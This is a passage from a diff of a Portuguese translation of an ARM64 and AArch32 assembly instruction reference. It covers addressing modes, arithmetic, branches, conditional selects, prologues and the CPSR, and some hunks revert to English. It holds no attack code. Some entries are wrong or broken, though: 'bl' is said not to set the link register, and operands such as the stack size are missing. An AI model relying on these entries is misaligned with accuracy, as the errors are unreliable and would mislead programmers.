em x1 o resultado de `x1 + 8`. -- `str lr, [sp, #-4]!`, Armazena o registrador de link em sp e atualiza o registrador sp. -- **Modo pós-indexado**: Isso é como o anterior, mas o endereço de memória é acessado e então o deslocamento é calculado e armazenado. -- `ldr x0, [x1], #8`, carrega `x1` em `x0` e atualiza x1 com `x1 + 8`. -- **Endereçamento relativo ao PC**: Neste caso, o endereço a ser carregado é calculado em relação ao registrador PC. -- `ldr x1, =_start`, Isso carregará o endereço onde o símbolo `_start` começa em x1 relacionado ao PC atual. -- **`str`**: **Armazenar** um valor de um **registrador** na **memória**. -- Exemplo: `str x0, [x1]` — Isso armazena o valor em `x0` na localização de memória apontada por `x1`. -- **`ldp`**: **Carregar Par de Registradores**. Esta instrução **carrega dois registradores** de **localizações de memória** consecutivas. O endereço de memória é tipicamente formado adicionando um deslocamento ao valor em outro registrador. -- Exemplo: `ldp x0, x1, [x2]` — Isso carrega `x0` e `x1` das localizações de memória em `x2` e `x2 + 8`, respectivamente. -- **`stp`**: **Armazenar Par de Registradores**. Esta instrução **armazena dois registradores** em **localizações de memória** consecutivas. O endereço de memória é tipicamente formado adicionando um deslocamento ao valor em outro registrador. -- Exemplo: `stp x0, x1, [sp]` — Isso armazena `x0` e `x1` nas localizações de memória em `sp` e `sp + 8`, respectivamente. -- `stp x0, x1, [sp, #16]!` — Isso armazena `x0` e `x1` nas localizações de memória em `sp+16` e `sp + 24`, respectivamente, e atualiza `sp` com `sp+16`. -- **`add`**: **Adicionar** os valores de dois registradores e armazenar o resultado em um registrador. +- **`mov`**: **Move** um valor de um **registrador** para outro. +- Exemplo: `mov x0, x1` — Move o valor de `x1` para `x0`. +- **`ldr`**: **Load** um valor da **memória** para um **registrador**. +- Exemplo: `ldr x0, [x1]` — Carrega um valor da localização de memória apontada por `x1` em `x0`. +- **Modo offset**: Um offset afetando o ponteiro de origem é indicado, por exemplo: +- `ldr x2, [x1, #8]`, isto carregará em x2 o valor de x1 + 8 +- `ldr x2, [x0, x1, lsl #2]`, isto carregará em x2 um objeto do array x0, da posição x1 (index) * 4 +- **Modo pré-indexado**: Isto aplicará cálculos à origem, obterá o resultado e também armazenará a nova origem na origem. +- `ldr x2, [x1, #8]!`, isto carregará `x1 + 8` em `x2` e armazenará em x1 o resultado de `x1 + 8` +- `str lr, [sp, #-4]!`, Armazena o link register em sp e atualiza o registrador sp +- **Modo post-index**: Isto é como o anterior, mas o endereço de memória é acessado e então o offset é calculado e armazenado. +- `ldr x0, [x1], #8`, carrega `x1` em `x0` e atualiza x1 com `x1 + 8` +- **Endereçamento relativo ao PC**: Neste caso o endereço a ser carregado é calculado relativo ao registrador PC +- `ldr x1, =_start`, Isto carregará em x1 o endereço onde o símbolo `_start` começa relacionado ao PC atual. +- **`str`**: **Store** um valor de um **registrador** para a **memória**. +- Exemplo: `str x0, [x1]` — Armazena o valor em `x0` na localização de memória apontada por `x1`. +- **`ldp`**: **Load Pair of Registers**. Esta instrução **carrega dois registradores** de **localizações de memória consecutivas**. O endereço de memória é tipicamente formado adicionando um offset ao valor em outro registrador. +- Exemplo: `ldp x0, x1, [x2]` — Carrega `x0` e `x1` das localizações de memória em `x2` e `x2 + 8`, respectivamente. +- **`stp`**: **Store Pair of Registers**. Esta instrução **armazena dois registradores** em **localizações de memória consecutivas**. O endereço de memória é tipicamente formado adicionando um offset ao valor em outro registrador. +- Exemplo: `stp x0, x1, [sp]` — Armazena `x0` e `x1` nas localizações de memória em `sp` e `sp + 8`, respectivamente. +- `stp x0, x1, [sp, #16]!` — Armazena `x0` e `x1` nas localizações de memória em `sp+16` e `sp + 24`, respectivamente, e atualiza `sp` com `sp+16`. +- **`add`**: **Soma** os valores de dois registradores e armazena o resultado em um registrador. - Sintaxe: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX] - Xn1 -> Destino - Xn2 -> Operando 1 - Xn3 | #imm -> Operando 2 (registrador ou imediato) -- \[shift #N | RRX] -> Realizar um deslocamento ou chamar RRX -- Exemplo: `add x0, x1, x2` — Isso adiciona os valores em `x1` e `x2` juntos e armazena o resultado em `x0`. -- `add x5, x5, #1, lsl #12` — Isso é igual a 4096 (um 1 deslocado 12 vezes) -> 1 0000 0000 0000 0000. -- **`adds`** Isso realiza um `add` e atualiza as flags. -- **`sub`**: **Subtrair** os valores de dois registradores e armazenar o resultado em um registrador. -- Verifique a **`sintaxe`** de **`add`**. -- Exemplo: `sub x0, x1, x2` — Isso subtrai o valor em `x2` de `x1` e armazena o resultado em `x0`. -- **`subs`** Isso é como sub, mas atualiza a flag. -- **`mul`**: **Multiplicar** os valores de **dois registradores** e armazenar o resultado em um registrador. -- Exemplo: `mul x0, x1, x2` — Isso multiplica os valores em `x1` e `x2` e armazena o resultado em `x0`. -- **`div`**: **Dividir** o valor de um registrador por outro e armazenar o resultado em um registrador. -- Exemplo: `div x0, x1, x2` — Isso divide o valor em `x1` por `x2` e armazena o resultado em `x0`. +- \[shift #N | RRX] -> Realiza um shift ou chama RRX +- Exemplo: `add x0, x1, x2` — Soma os valores em `x1` e `x2` e armazena o resultado em `x0`. +- `add x5, x5, #1, lsl #12` — Isso equivale a 4096 (um 1 shiftado 12 vezes) -> 1 0000 0000 0000 0000 +- **`adds`**: Isto executa um `add` e atualiza as flags +- **`sub`**: **Subtrai** os valores de dois registradores e armazena o resultado em um registrador. +- Veja a **sintaxe** de **`add`**. +- Exemplo: `sub x0, x1, x2` — Subtrai o valor em `x2` de `x1` e armazena o resultado em `x0`. +- **`subs`**: Isto é como `sub` mas atualizando as flags +- **`mul`**: **Multiplica** os valores de **dois registradores** e armazena o resultado em um registrador. +- Exemplo: `mul x0, x1, x2` — Multiplica os valores em `x1` e `x2` e armazena o resultado em `x0`. +- **`div`**: **Divide** o valor de um registrador por outro e armazena o resultado em um registrador. +- Exemplo: `div x0, x1, x2` — Divide o valor em `x1` por `x2` e armazena o resultado em `x0`. - **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**: -- **Deslocamento lógico à esquerda**: Adiciona 0s do final movendo os outros bits para frente (multiplica por n vezes 2). -- **Deslocamento lógico à direita**: Adiciona 1s no início movendo os outros bits para trás (divide por n vezes 2 em não assinado). -- **Deslocamento aritmético à direita**: Como **`lsr`**, mas em vez de adicionar 0s, se o bit mais significativo for 1, **1s são adicionados** (divide por n vezes 2 em assinado). -- **Rotacionar à direita**: Como **`lsr`**, mas o que for removido da direita é anexado à esquerda. -- **Rotacionar à Direita com Extensão**: Como **`ror`**, mas com a flag de carry como o "bit mais significativo". Assim, a flag de carry é movida para o bit 31 e o bit removido para a flag de carry. -- **`bfm`**: **Movimento de Campo de Bits**, essas operações **copiam bits `0...n`** de um valor e os colocam nas posições **`m..m+n`**. O **`#s`** especifica a **posição do bit mais à esquerda** e **`#r`** a **quantidade de rotação à direita**. -- Movimento de campo de bits: `BFM Xd, Xn, #r`. -- Movimento de campo de bits assinado: `SBFM Xd, Xn, #r, #s`. -- Movimento de campo de bits não assinado: `UBFM Xd, Xn, #r, #s`. -- **Extração e Inserção de Campo de Bits:** Copia um campo de bits de um registrador e o copia para outro registrador. -- **`BFI X1, X2, #3, #4`** Insere 4 bits de X2 a partir do 3º bit de X1. -- **`BFXIL X1, X2, #3, #4`** Extrai do 3º bit de X2 quatro bits e os copia para X1. -- **`SBFIZ X1, X2, #3, #4`** Estende o sinal de 4 bits de X2 e os insere em X1 começando na posição do bit 3 zerando os bits à direita. -- **`SBFX X1, X2, #3, #4`** Extrai 4 bits começando no bit 3 de X2, estende o sinal e coloca o resultado em X1. -- **`UBFIZ X1, X2, #3, #4`** Estende 4 bits de X2 e os insere em X1 começando na posição do bit 3 zerando os bits à direita. -- **`UBFX X1, X2, #3, #4`** Extrai 4 bits começando no bit 3 de X2 e coloca o resultado estendido a zero em X1. -- **Extensão de Sinal para X:** Estende o sinal (ou adiciona apenas 0s na versão não assinada) de um valor para poder realizar operações com ele: -- **`SXTB X1, W2`** Estende o sinal de um byte **de W2 para X1** (`W2` é metade de `X2`) para preencher os 64 bits. -- **`SXTH X1, W2`** Estende o sinal de um número de 16 bits **de W2 para X1** para preencher os 64 bits. -- **`SXTW X1, W2`** Estende o sinal de um byte **de W2 para X1** para preencher os 64 bits. -- **`UXTB X1, W2`** Adiciona 0s (não assinado) a um byte **de W2 para X1** para preencher os 64 bits. -- **`extr`:** Extrai bits de um **par de registradores especificados concatenados**. -- Exemplo: `EXTR W3, W2, W1, #3` Isso irá **concatenar W1+W2** e obter **do bit 3 de W2 até o bit 3 de W1** e armazená-lo em W3. -- **`cmp`**: **Comparar** dois registradores e definir flags de condição. É um **alias de `subs`** definindo o registrador de destino como o registrador zero. Útil para saber se `m == n`. -- Suporta a **mesma sintaxe que `subs`**. -- Exemplo: `cmp x0, x1` — Isso compara os valores em `x0` e `x1` e define as flags de condição de acordo. -- **`cmn`**: **Comparar o operando negativo**. Neste caso, é um **alias de `adds`** e suporta a mesma sintaxe. Útil para saber se `m == -n`. -- **`ccmp`**: Comparação condicional, é uma comparação que será realizada apenas se uma comparação anterior foi verdadeira e definirá especificamente os bits nzcv. -- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> se x1 != x2 e x3 < x4, salte para func. -- Isso ocorre porque **`ccmp`** só será executado se a **comparação anterior `cmp` foi um `NE`**, se não foi, os bits `nzcv` serão definidos como 0 (o que não satisfará a comparação `blt`). -- Isso também pode ser usado como `ccmn` (o mesmo, mas negativo, como `cmp` vs `cmn`). -- **`tst`**: Verifica se algum dos valores da comparação é 1 (funciona como um ANDS sem armazenar o resultado em nenhum lugar). É útil para verificar um registrador com um valor e verificar se algum dos bits do registrador indicado no valor é 1. -- Exemplo: `tst X1, #7` Verifica se algum dos últimos 3 bits de X1 é 1. -- **`teq`**: Operação XOR descartando o resultado. -- **`b`**: Branch incondicional. -- Exemplo: `b myFunction`. -- Note que isso não preencherá o registrador de link com o endereço de retorno (não é adequado para chamadas de sub-rotina que precisam retornar). -- **`bl`**: **Branch** com link, usado para **chamar** uma **sub-rotina**. Armazena o **endereço de retorno em `x30`**. -- Exemplo: `bl myFunction` — Isso chama a função `myFunction` e armazena o endereço de retorno em `x30`. -- Note que isso não preencherá o registrador de link com o endereço de retorno (não é adequado para chamadas de sub-rotina que precisam retornar). -- **`blr`**: **Branch** com Link para Registrador, usado para **chamar** uma **sub-rotina** onde o alvo é **especificado** em um **registrador**. Armazena o endereço de retorno em `x30`. (Isso é -- Exemplo: `blr x1` — Isso chama a função cujo endereço está contido em `x1` e armazena o endereço de retorno em `x30`. -- **`ret`**: **Retornar** da **sub-rotina**, tipicamente usando o endereço em **`x30`**. -- Exemplo: `ret` — Isso retorna da sub-rotina atual usando o endereço de retorno em `x30`. -- **`b.`**: Branches condicionais. +- **Logical shift left**: Adiciona 0s no final movendo os outros bits para frente (multiplica por 2^n) +- **Logical shift right**: Adiciona 0s no início movendo os outros bits para trás (divide por 2^n em unsigned) +- **Arithmetic shift right**: Como **`lsr`**, mas em vez de adicionar 0s se o bit mais significativo for 1, **1s são adicionados** (divide por 2^n em signed) +- **Rotate right**: Como **`lsr`** mas o que é removido da direita é anexado à esquerda +- **Rotate Right with Extend**: Como **`ror`**, mas com a flag de carry como o "bit mais significativo". Assim a flag de carry é movida para o bit 31 e o bit removido vai para a flag de carry. +- **`bfm`**: **Bit Filed Move**, essas operações **copiam bits `0...n`** de um valor e os colocam nas posições **`m..m+n`**. O **`#s`** especifica a **posição do bit mais à esquerda** e **`#r`** a **quantidade de rotate right**. +- Bitfield move: `BFM Xd, Xn, #r` +- Signed Bitfield move: `SBFM Xd, Xn, #r, #s` +- Unsigned Bitfield move: `UBFM Xd, Xn, #r, #s` +- **Bitfield Extract e Insert:** Copia um bitfield de um registrador e o copia para outro registrador. +- **`BFI X1, X2, #3, #4`** Insere 4 bits de X2 a partir do bit 3 em X1 +- **`BFXIL X1, X2, #3, #4`** Extrai do bit 3 de X2 quatro bits e os copia para X1 +- **`SBFIZ X1, X2, #3, #4`** Sign-extends 4 bits de X2 e os insere em X1 começando na posição de bit 3 zerando os bits à direita +- **`SBFX X1, X2, #3, #4`** Extrai 4 bits começando no bit 3 de X2, faz sign extend e coloca o resultado em X1 +- **`UBFIZ X1, X2, #3, #4`** Zero-extends 4 bits de X2 e os insere em X1 começando na posição de bit 3 zerando os bits à direita +- **`UBFX X1, X2, #3, #4`** Extrai 4 bits começando no bit 3 de X2 e coloca o resultado zero-extend em X1. +- **Sign Extend To X:** Estende o sinal (ou adiciona apenas 0s na versão unsigned) de um valor para poder realizar operações com ele: +- **`SXTB X1, W2`** Estende o sinal de um byte **de W2 para X1** (`W2` é metade de `X2`) para preencher os 64 bits +- **`SXTH X1, W2`** Estende o sinal de um número de 16 bits **de W2 para X1** para preencher os 64 bits +- **`SXTW X1, W2`** Estende o sinal de um valor de 32 bits **de W2 para X1** para preencher os 64 bits +- **`UXTB X1, W2`** Adiciona 0s (unsigned) a um byte **de W2 para X1** para preencher os 64 bits +- **`extr`**: Extrai bits de um **par especificado de registradores concatenados**. +- Exemplo: `EXTR W3, W2, W1, #3` Isto irá **concatenar W1+W2** e obter **do bit 3 de W2 até o bit 3 de W1** e armazenar em W3. +- **`cmp`**: **Compara** dois registradores e seta flags de condição. É um **alias de `subs`** configurando o registrador de destino para o registrador zero. Útil para saber se `m == n`. +- Suporta a **mesma sintaxe de `subs`** +- Exemplo: `cmp x0, x1` — Compara os valores em `x0` e `x1` e ajusta as flags de condição adequadamente. +- **`cmn`**: **Compare negative** operando. Neste caso é um **alias de `adds`** e suporta a mesma sintaxe. Útil para saber se `m == -n`. +- **`ccmp`**: Comparação condicional, é uma comparação que será executada apenas se uma comparação anterior foi verdadeira e irá especificamente setar bits nzcv. +- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> se x1 != x2 e x3 < x4, salta para func +- Isso porque **`ccmp`** será executado apenas se o **`cmp`** anterior tiver sido `NE`; se não for, os bits `nzcv` serão setados para 0 (o que não satisfará a comparação `blt`). +- Isto também pode ser usado como `ccmn` (mesmo mas negativo, como `cmp` vs `cmn`). +- **`tst`**: Verifica se algum dos valores da comparação tem bits em comum a 1 (funciona como um ANDS sem armazenar o resultado em lugar nenhum). É útil para checar um registrador com um valor e verificar se algum dos bits do registrador indicado pelo valor é 1. +- Exemplo: `tst X1, #7` Checa se algum dos últimos 3 bits de X1 é 1 +- **`teq`**: Operação XOR descartando o resultado +- **`b`**: Branch incondicional +- Exemplo: `b myFunction` +- Note que isto não preencherá o link register com o endereço de retorno (não é adequado para chamadas de subrotina que precisam retornar) +- **`bl`**: **Branch** com link, usado para **chamar** uma **subrotina**. Armazena o **endereço de retorno em `x30`**. +- Exemplo: `bl myFunction` — Chama a função `myFunction` e armazena o endereço de retorno em `x30`. +- Note que isto não preencherá o link register com o endereço de retorno (não é adequado para subrotinas que precisam retornar) +- **`blr`**: **Branch** com Link para registrador, usado para **chamar** uma **subrotina** onde o destino é **especificado** em um **registrador**. Armazena o endereço de retorno em `x30`. (Isto é +- Exemplo: `blr x1` — Chama a função cujo endereço está contido em `x1` e armazena o endereço de retorno em `x30`. +- **`ret`**: **Retorna** de uma **subrotina**, tipicamente usando o endereço em **`x30`**. +- Exemplo: `ret` — Retorna da subrotina atual usando o endereço de retorno em `x30`. +- **`b.`**: Branches condicionais - **`b.eq`**: **Branch se igual**, baseado na instrução `cmp` anterior. -- Exemplo: `b.eq label` — Se a instrução `cmp` anterior encontrou dois valores iguais, isso salta para `label`. -- **`b.ne`**: **Branch se Não Igual**. Esta instrução verifica as flags de condição (que foram definidas por uma instrução de comparação anterior), e se os valores comparados não foram iguais, ela salta para um rótulo ou endereço. -- Exemplo: Após uma instrução `cmp x0, x1`, `b.ne label` — Se os valores em `x0` e `x1 não foram iguais, isso salta para `label`. -- **`cbz`**: **Comparar e Branch se Zero**. Esta instrução compara um registrador com zero, e se forem iguais, salta para um rótulo ou endereço. -- Exemplo: `cbz x0, label` — Se o valor em `x0` é zero, isso salta para `label`. -- **`cbnz`**: **Comparar e Branch se Não Zero**. Esta instrução compara um registrador com zero, e se não forem iguais, salta para um rótulo ou endereço. -- Exemplo: `cbnz x0, label` — Se o valor em `x0` não é zero, isso salta para `label`. -- **`tbnz`**: Testa o bit e salta se não zero. -- Exemplo: `tbnz x0, #8, label`. -- **`tbz`**: Testa o bit e salta se zero. -- Exemplo: `tbz x0, #8, label`. +- Exemplo: `b.eq label` — Se a instrução `cmp` anterior encontrou dois valores iguais, isto salta para `label`. +- **`b.ne`**: **Branch se Não Igual**. Esta instrução verifica as flags de condição (que foram setadas por uma instrução de comparação anterior), e se os valores comparados não foram iguais, ela faz branch para um label ou endereço. +- Exemplo: Após uma instrução `cmp x0, x1`, `b.ne label` — Se os valores em `x0` e `x1` não foram iguais, isto salta para `label`. +- **`cbz`**: **Compare and Branch on Zero**. Esta instrução compara um registrador com zero, e se forem iguais, faz branch para um label ou endereço. +- Exemplo: `cbz x0, label` — Se o valor em `x0` é zero, isto salta para `label`. +- **`cbnz`**: **Compare and Branch on Non-Zero**. Esta instrução compara um registrador com zero, e se não forem iguais, faz branch para um label ou endereço. +- Exemplo: `cbnz x0, label` — Se o valor em `x0` é não-zero, isto salta para `label`. +- **`tbnz`**: Testa bit e faz branch se não-zero +- Exemplo: `tbnz x0, #8, label` +- **`tbz`**: Testa bit e faz branch se zero +- Exemplo: `tbz x0, #8, label` - **Operações de seleção condicional**: Estas são operações cujo comportamento varia dependendo dos bits condicionais. -- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Se verdadeiro, X0 = X1, se falso, X0 = X2. -- `csinc Xd, Xn, Xm, cond` -> Se verdadeiro, Xd = Xn, se falso, Xd = Xm + 1. -- `cinc Xd, Xn, cond` -> Se verdadeiro, Xd = Xn + 1, se falso, Xd = Xn. -- `csinv Xd, Xn, Xm, cond` -> Se verdadeiro, Xd = Xn, se falso, Xd = NOT(Xm). -- `cinv Xd, Xn, cond` -> Se verdadeiro, Xd = NOT(Xn), se falso, Xd = Xn. -- `csneg Xd, Xn, Xm, cond` -> Se verdadeiro, Xd = Xn, se falso, Xd = - Xm. -- `cneg Xd, Xn, cond` -> Se verdadeiro, Xd = - Xn, se falso, Xd = Xn. -- `cset Xd, Xn, Xm, cond` -> Se verdadeiro, Xd = 1, se falso, Xd = 0. -- `csetm Xd, Xn, Xm, cond` -> Se verdadeiro, Xd = \, se falso, Xd = 0. -- **`adrp`**: Computa o **endereço da página de um símbolo** e o armazena em um registrador. -- Exemplo: `adrp x0, symbol` — Isso computa o endereço da página de `symbol` e o armazena em `x0`. -- **`ldrsw`**: **Carregar** um valor **32 bits** assinado da memória e **estendê-lo para 64** bits. -- Exemplo: `ldrsw x0, [x1]` — Isso carrega um valor assinado de 32 bits da localização de memória apontada por `x1`, estende-o para 64 bits e o armazena em `x0`. -- **`stur`**: **Armazenar um valor de registrador em uma localização de memória**, usando um deslocamento de outro registrador. -- Exemplo: `stur x0, [x1, #4]` — Isso armazena o valor em `x0` na localização de memória que é 4 bytes maior do que o endereço atualmente em `x1`. -- **`svc`** : Fazer uma **chamada de sistema**. Significa "Chamada de Supervisor". Quando o processador executa esta instrução, ele **muda do modo de usuário para o modo de kernel** e salta para um local específico na memória onde o **código de manipulação de chamadas de sistema do kernel** está localizado. +- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Se verdadeiro, X0 = X1, se falso, X0 = X2 +- `csinc Xd, Xn, Xm, cond` -> Se verdadeiro, Xd = Xn, se falso, Xd = Xm + 1 +- `cinc Xd, Xn, cond` -> Se verdadeiro, Xd = Xn + 1, se falso, Xd = Xn +- `csinv Xd, Xn, Xm, cond` -> Se verdadeiro, Xd = Xn, se falso, Xd = NOT(Xm) +- `cinv Xd, Xn, cond` -> Se verdadeiro, Xd = NOT(Xn), se falso, Xd = Xn +- `csneg Xd, Xn, Xm, cond` -> Se verdadeiro, Xd = Xn, se falso, Xd = - Xm +- `cneg Xd, Xn, cond` -> Se verdadeiro, Xd = - Xn, se falso, Xd = Xn +- `cset Xd, Xn, Xm, cond` -> Se verdadeiro, Xd = 1, se falso, Xd = 0 +- `csetm Xd, Xn, Xm, cond` -> Se verdadeiro, Xd = \, se falso, Xd = 0 +- **`adrp`**: Calcula o **endereço de página de um símbolo** e armazena em um registrador. +- Exemplo: `adrp x0, symbol` — Calcula o endereço de página de `symbol` e armazena em `x0`. +- **`ldrsw`**: **Load** um valor signed de **32-bit** da memória e **sign-extend para 64** bits. +- Exemplo: `ldrsw x0, [x1]` — Carrega um valor signed de 32 bits da localização de memória apontada por `x1`, sign-extends para 64 bits, e armazena em `x0`. +- **`stur`**: **Armazena** o valor de um registrador em uma localização de memória, usando um offset a partir de outro registrador. +- Exemplo: `stur x0, [x1, #4]` — Armazena o valor em `x0` no endereço de memória que é 4 bytes maior que o endereço atualmente em `x1`. +- **`svc`** : Faz uma **system call**. Significa "Supervisor Call". Quando o processador executa esta instrução, ele **troca de user mode para kernel mode** e pula para uma localização específica na memória onde o **código de tratamento de system call do kernel** está localizado. - Exemplo: ```armasm -mov x8, 93 ; Carrega o número da chamada de sistema para sair (93) no registrador x8. -mov x0, 0 ; Carrega o código de status de saída (0) no registrador x0. -svc 0 ; Faz a chamada de sistema. +mov x8, 93 ; Load the system call number for exit (93) into register x8. +mov x0, 0 ; Load the exit status code (0) into register x0. +svc 0 ; Make the system call. ``` -### **Prólogo da Função** +### **Prologue da Função** -1. **Salvar o registrador de link e o ponteiro de quadro na pilha**: +1. **Salvar o link register e o frame pointer na stack**: ```armasm stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer ``` -2. **Configurar o novo ponteiro de quadro**: `mov x29, sp` (configura o novo ponteiro de quadro para a função atual) -3. **Alocar espaço na pilha para variáveis locais** (se necessário): `sub sp, sp, ` (onde `` é o número de bytes necessários) +2. **Configurar o novo ponteiro de quadro**: `mov x29, sp` (configura o novo ponteiro de quadro para a função atual) +3. **Alocar espaço na pilha para variáveis locais** (se necessário): `sub sp, sp, ` (onde `` é o número de bytes necessários) -### **Epilogo da Função** +### **Epílogo da Função** -1. **Desalocar variáveis locais (se alguma foi alocada)**: `add sp, sp, ` +1. **Desalocar variáveis locais (se tiverem sido alocadas)**: `add sp, sp, ` 2. **Restaurar o registrador de link e o ponteiro de quadro**: ```armasm ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer ``` 3. **Return**: `ret` (retorna o controle para o chamador usando o endereço no registrador de link) -## Estado de Execução AARCH32 +## AARCH32 Estado de Execução -Armv8-A suporta a execução de programas de 32 bits. **AArch32** pode rodar em um dos **dois conjuntos de instruções**: **`A32`** e **`T32`** e pode alternar entre eles via **`interworking`**.\ -Programas **privilegiados** de 64 bits podem agendar a **execução de programas de 32 bits** executando uma transferência de nível de exceção para o nível de privilégio inferior de 32 bits.\ -Note que a transição de 64 bits para 32 bits ocorre com uma redução do nível de exceção (por exemplo, um programa de 64 bits em EL1 acionando um programa em EL0). Isso é feito configurando o **bit 4 de** **`SPSR_ELx`** registro especial **para 1** quando o thread do processo `AArch32` está pronto para ser executado e o restante de `SPSR_ELx` armazena o **CPSR** dos programas **`AArch32`**. Então, o processo privilegiado chama a instrução **`ERET`** para que o processador transite para **`AArch32`** entrando em A32 ou T32 dependendo do CPSR**.** +Armv8-A suporta a execução de programas de 32-bit. **AArch32** pode rodar em um de **dois conjuntos de instruções**: **`A32`** e **`T32`** e pode alternar entre eles via **`interworking`**.\ +Programas de 64-bit **privilegiados** podem agendar a **execução de programas de 32-bit** executando uma transferência de nível de exceção para o 32-bit com privilégio inferior.\ +Observe que a transição de 64-bit para 32-bit ocorre com um nível de exceção inferior (por exemplo um programa de 64-bit em EL1 disparando um programa em EL0). Isso é feito definindo o **bit 4 de** **`SPSR_ELx`** registrador especial **para 1** quando a thread do processo `AArch32` estiver pronta para ser executada e o restante de `SPSR_ELx` armazena o CPSR do programa **`AArch32`**. Então, o processo privilegiado chama a instrução **`ERET`** para que o processador transicione para **`AArch32`** entrando em A32 ou T32 dependendo do CPSR**.** -O **`interworking`** ocorre usando os bits J e T do CPSR. `J=0` e `T=0` significa **`A32`** e `J=0` e `T=1` significa **T32**. Isso basicamente se traduz em configurar o **bit mais baixo para 1** para indicar que o conjunto de instruções é T32.\ -Isso é configurado durante as **instruções de ramificação de interworking**, mas também pode ser configurado diretamente com outras instruções quando o PC é definido como o registrador de destino. Exemplo: +O **`interworking`** ocorre usando os bits J e T do CPSR. `J=0` e `T=0` significa **`A32`** e `J=0` e `T=1` significa **T32**. Isso basicamente equivale a definir o **bit menos significativo como 1** para indicar que o conjunto de instruções é T32.\ +Isso é definido durante as **instruções de desvio de interworking,** mas também pode ser definido diretamente com outras instruções quando o PC é definido como registrador de destino. Exemplo: Outro exemplo: ```armasm @@ -262,62 +265,62 @@ bx r4 ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32) mov r0, #0 mov r0, #8 ``` -### Registradores +### Registers -Existem 16 registradores de 32 bits (r0-r15). **De r0 a r14** eles podem ser usados para **qualquer operação**, no entanto, alguns deles geralmente são reservados: +There are 16 32-bit registers (r0-r15). **From r0 to r14** they can be used for **any operation**, however some of them are usually reserved: -- **`r15`**: Contador de programa (sempre). Contém o endereço da próxima instrução. Em A32 atual + 8, em T32, atual + 4. -- **`r11`**: Ponteiro de quadro -- **`r12`**: Registrador de chamada intra-procedimental -- **`r13`**: Ponteiro de pilha -- **`r14`**: Registrador de link +- **`r15`**: Program counter (always). Contains the address of the next instruction. In A32 current + 8, in T32, current + 4. +- **`r11`**: Frame Pointer +- **`r12`**: Intra-procedural call register +- **`r13`**: Stack Pointer (Note the stack is always 16-byte aligned) +- **`r14`**: Link Register -Além disso, os registradores são salvos em **`registries bancados`**. Que são lugares que armazenam os valores dos registradores permitindo realizar **mudanças de contexto rápidas** no tratamento de exceções e operações privilegiadas para evitar a necessidade de salvar e restaurar manualmente os registradores toda vez.\ -Isso é feito **salvando o estado do processador do `CPSR` para o `SPSR`** do modo do processador ao qual a exceção é gerada. Ao retornar da exceção, o **`CPSR`** é restaurado do **`SPSR`**. +Moreover, registers are backed up in **`banked registries`**. Which are places that store the registers values allowing to perform **fast context switching** in exception handling and privileged operations to avoid the need to manually save and restore registers every time.\ +This is done by **saving the processor state from the `CPSR` to the `SPSR`** of the processor mode to which the exception is taken. On the exception returns, the **`CPSR`** is restored from the **`SPSR`**. -### CPSR - Registrador de Status do Programa Atual +### CPSR - Current Program Status Register -Em AArch32, o CPSR funciona de forma semelhante ao **`PSTATE`** em AArch64 e também é armazenado em **`SPSR_ELx`** quando uma exceção é gerada para restaurar a execução posteriormente: +In AArch32 the CPSR works similar to **`PSTATE`** in AArch64 and is also stored in **`SPSR_ELx`** when a exception is taken to restore later the execution:
-Os campos são divididos em alguns grupos: +The fields are divided in some groups: -- Registrador de Status do Programa de Aplicação (APSR): Flags aritméticas e acessíveis a partir do EL0 -- Registradores de Estado de Execução: Comportamento do processo (gerenciado pelo SO). +- Application Program Status Register (APSR): Arithmetic flags and accesible from EL0 +- Execution State Registers: Process behaviour (managed by the OS). -#### Registrador de Status do Programa de Aplicação (APSR) +#### Application Program Status Register (APSR) -- As flags **`N`**, **`Z`**, **`C`**, **`V`** (assim como em AArch64) -- A flag **`Q`**: É definida como 1 sempre que **ocorre saturação inteira** durante a execução de uma instrução aritmética de saturação especializada. Uma vez definida como **`1`**, manterá o valor até ser manualmente definida como 0. Além disso, não há nenhuma instrução que verifique seu valor implicitamente, isso deve ser feito lendo-o manualmente. -- Flags **`GE`** (Maior ou igual): É usada em operações SIMD (Single Instruction, Multiple Data), como "adição paralela" e "subtração paralela". Essas operações permitem processar múltiplos pontos de dados em uma única instrução. +- The **`N`**, **`Z`**, **`C`**, **`V`** flags (just like in AArch64) +- The **`Q`** flag: It's set to 1 whenever **integer saturation occurs** during the execution of a specialized saturating arithmetic instruction. Once it's set to **`1`**, it'll maintain the value until it's manually set to 0. Moreover, there isn't any instruction that checks its value implicitly, it must be done reading it manually. +- **`GE`** (Greater than or equal) Flags: It's used in SIMD (Single Instruction, Multiple Data) operations, such as "parallel add" and "parallel subtract". These operations allow processing multiple data points in a single instruction. -Por exemplo, a instrução **`UADD8`** **adiciona quatro pares de bytes** (de dois operandos de 32 bits) em paralelo e armazena os resultados em um registrador de 32 bits. Em seguida, **define as flags `GE` no `APSR`** com base nesses resultados. Cada flag GE corresponde a uma das adições de bytes, indicando se a adição para aquele par de bytes **transbordou**. +For example, the **`UADD8`** instruction **adds four pairs of bytes** (from two 32-bit operands) in parallel and stores the results in a 32-bit register. It then **sets the `GE` flags in the `APSR`** based on these results. Each GE flag corresponds to one of the byte additions, indicating if the addition for that byte pair **overflowed**. -A instrução **`SEL`** usa essas flags GE para realizar ações condicionais. +The **`SEL`** instruction uses these GE flags to perform conditional actions. -#### Registradores de Estado de Execução +#### Execution State Registers -- Os bits **`J`** e **`T`**: **`J`** deve ser 0 e se **`T`** for 0, o conjunto de instruções A32 é usado, e se for 1, o T32 é usado. -- **Registrador de Estado do Bloco IT** (`ITSTATE`): Esses são os bits de 10-15 e 25-26. Eles armazenam condições para instruções dentro de um grupo prefixado por **`IT`**. -- Bit **`E`**: Indica a **endianness**. -- Bits de Modo e Máscara de Exceção (0-4): Eles determinam o estado de execução atual. O **5º** indica se o programa está sendo executado como 32 bits (um 1) ou 64 bits (um 0). Os outros 4 representam o **modo de exceção atualmente em uso** (quando uma exceção ocorre e está sendo tratada). O número definido **indica a prioridade atual** caso outra exceção seja acionada enquanto esta está sendo tratada. +- The **`J`** and **`T`** bits: **`J`** should be 0 and if 